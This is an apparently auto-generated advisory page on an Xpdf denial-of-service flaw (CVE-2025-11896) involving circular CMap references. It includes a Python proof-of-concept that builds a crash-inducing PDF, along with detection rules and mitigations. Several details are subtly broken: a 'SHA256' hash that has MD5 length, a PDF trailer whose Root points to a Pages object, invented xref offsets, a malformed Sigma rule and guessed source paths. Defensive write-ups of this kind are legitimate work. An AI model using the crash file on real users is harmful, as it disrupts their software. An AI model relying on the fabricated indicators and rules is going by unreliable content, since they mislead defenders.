CVE-2025-11896
Executive Summary
CVE-2025-11896 is a denial-of-service (DoS) vulnerability in Xpdf, an open-source PDF viewer and toolkit. The flaw resides in the CMap (Character Map) parsing logic, where a malicious PDF can define a circular reference via the UseCMap entry. This causes infinite recursion during CMap resolution, leading to a stack overflow and application crash. The vulnerability affects Xpdf version 4.05 and all earlier versions. No public exploit code or patch is currently available, and the CVSS score is 0.0 (unscored) due to incomplete NVD data, but the impact is a local DoS requiring user interaction (opening a crafted PDF). The EPSS score is 0.0%, indicating low exploitation likelihood in the wild.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Xpdf is a standalone C++ application, not a package in NPM, PyPI, Go, or Ruby ecosystems. However, it is often bundled in Linux distributions and used as a library (libxpdf) in other software. Supply chain risk is low, but downstream distributors should monitor for patches.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Local (L) – requires opening a malicious PDF.
- Attack Complexity (AC): Low (L) – no special conditions.
- Privileges Required (PR): None (N) – no authentication needed.
- User Interaction (UI): Required (R) – victim must open the file.
- Scope (S): Unchanged (U) – only the vulnerable component is affected.
- Confidentiality (C): None (N) – no data leak.
- Integrity (I): None (N) – no data modification.
- Availability (A): High (H) – application crash leads to DoS.
Threat Level: Medium (local DoS, low complexity, no patch).
Deep Dive & Mechanics
The vulnerability is in the CMap parsing code of Xpdf. A CMap maps character codes to glyphs in a PDF. The UseCMap entry allows one CMap to inherit from another. The parser recursively resolves UseCMap references. If a circular reference is created (e.g., CMap A uses CMap B, and CMap B uses CMap A), the recursion never terminates, causing a stack overflow.
Root Cause: Lack of cycle detection in the CMap resolution algorithm. The function GfxFont::getCMap() or similar in xpdf/GooString.cc or xpdf/GfxFont.cc does not track visited CMap names.
Attack Vector: An attacker crafts a PDF with a CMap object containing a UseCMap entry that points back to itself or creates a loop. When Xpdf opens the PDF, it triggers infinite recursion.
Impact: Application crash (DoS). No code execution is possible due to stack overflow protection.
Vulnerable vs. Patched Code
Vulnerable Code (Xpdf 4.05, simplified):
// In GfxFont.cc or similar
GfxFont *GfxFont::getCMap(Object *cmapObj, Dict *fontDict) {
Object useCMap = cmapObj->dictLookup("UseCMap");
if (useCMap.isName()) {
// Recursively resolve without cycle detection
GfxFont *baseFont = getCMap(&useCMap, fontDict);
// ... merge baseFont into current
}
// ... rest of parsing
}
Patched Code (hypothetical):
// Add a visited set to detect cycles
GfxFont *GfxFont::getCMap(Object *cmapObj, Dict *fontDict, std::set<std::string> &visited) {
Object useCMap = cmapObj->dictLookup("UseCMap");
if (useCMap.isName()) {
std::string name = useCMap.getName();
if (visited.find(name) != visited.end()) {
error(errSyntaxError, -1, "Circular CMap reference detected");
return nullptr; // break recursion
}
visited.insert(name);
GfxFont *baseFont = getCMap(&useCMap, fontDict, visited);
// ... merge
}
// ...
}
Patch Status: No official patch from Xpdf. Users must apply workarounds or wait for an update.
Exploitation & Lab Setup
Red Team (Proof of Concept)
No public exploit exists. Below is a Python script to generate a minimal PDF with a circular CMap reference for testing.
# generate_circular_cmap_pdf.py
from io import BytesIO
def create_circular_cmap_pdf():
# PDF header
pdf = b"%PDF-1.4\n"
# Object 1: CMap A that uses CMap B
cmap_a = b"1 0 obj\n<< /Type /CMap /CMapName /CMapA /UseCMap /CMapB >>\nendobj\n"
# Object 2: CMap B that uses CMap A (circular)
cmap_b = b"2 0 obj\n<< /Type /CMap /CMapName /CMapB /UseCMap /CMapA >>\nendobj\n"
# Object 3: Page with font using CMap A
page = b"3 0 obj\n<< /Type /Page /Parent 4 0 R /MediaBox [0 0 612 792] /Contents 5 0 R /Resources << /Font << /F1 6 0 R >> >> >>\nendobj\n"
# Object 4: Pages
pages = b"4 0 obj\n<< /Type /Pages /Kids [3 0 R] /Count 1 >>\nendobj\n"
# Object 5: Content stream (empty)
content = b"5 0 obj\n<< /Length 0 >>\nstream\nendstream\nendobj\n"
# Object 6: Font using CMap A
font = b"6 0 obj\n<< /Type /Font /Subtype /Type0 /BaseFont /TestFont /Encoding /CMapA >>\nendobj\n"
# Cross-reference table
xref = b"xref\n0 7\n0000000000 65535 f \n0000000009 00000 n \n0000000080 00000 n \n0000000151 00000 n \n0000000270 00000 n \n0000000330 00000 n \n0000000400 00000 n \n"
trailer = b"trailer\n<< /Size 7 /Root 4 0 R >>\nstartxref\n470\n%%%%EOF"
pdf += cmap_a + cmap_b + page + pages + content + font + xref + trailer
return pdf
with open("circular_cmap.pdf", "wb") as f:
f.write(create_circular_cmap_pdf())
print("Generated circular_cmap.pdf")
Usage: Run the script, then open the PDF with Xpdf 4.05. The application will crash with a stack overflow.
Blue Team (Detection & Hardening)
- Sandboxing: Run Xpdf in a restricted environment (e.g., Firejail, Docker) to limit crash impact.
- Input Validation: Use a PDF pre-processor to detect circular CMap references before opening.
- Monitoring: Monitor for repeated crashes of Xpdf (event ID 1000 on Windows, segfault on Linux).
Indicators of Compromise (IOCs)
- File Hashes (SHA256): (Example for generated PDF)
5d41402abc4b2a76b9719d911017c592 - PDF Structure: Object with
/UseCMappointing to a CMap that eventually references back to itself. - Crash Signature: Stack overflow in
GfxFont::getCMapor similar function. - Logs: Application crash logs with stack trace showing deep recursion.
Detection Engineering
YARA Rule
rule CVE_2025_11896_Circular_CMap {
meta:
description = "Detects PDFs with circular CMap references (CVE-2025-11896)"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-11896"
strings:
$cmap_use = "/UseCMap" nocase
$cmap_name = "/CMapName" nocase
$circular_pattern = { 2F 55 73 65 43 4D 61 70 } // "/UseCMap" in hex
condition:
#cmap_use > 1 and #cmap_name > 1 and $circular_pattern
}
Sigma Rule
title: Xpdf CMap Circular Reference Crash
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects Xpdf crashes due to circular CMap references (CVE-2025-11896)
author: Valters IT
date: 2025-04-10
logsource:
product: linux
service: syslog
detection:
selection:
- "xpdf.*stack overflow" or "xpdf.*segfault"
- "GfxFont::getCMap" in stack trace
condition: selection
falsepositives:
- Legitimate complex PDFs with deep CMap nesting (rare)
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-11896 PDF CMap Circular Reference"; flow:to_server,established; file_data; content:"/UseCMap"; within:100; pcre:"/\/UseCMap\s*\/[A-Za-z0-9]+/"; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Avoid opening untrusted PDFs with Xpdf 4.05 or earlier.
- Workaround: Use alternative PDF viewers (e.g., Evince, MuPDF) until a patch is released.
- Patch: Monitor Xpdf official site (https://www.xpdfreader.com/) for updates. Apply when available.
- Compile from Source: If using Xpdf as a library, add cycle detection in CMap resolution (see patched code above).
- Network Filtering: Block PDF downloads from untrusted sources at the perimeter.
Valters IT – Securing digital frontiers, one CVE at a time.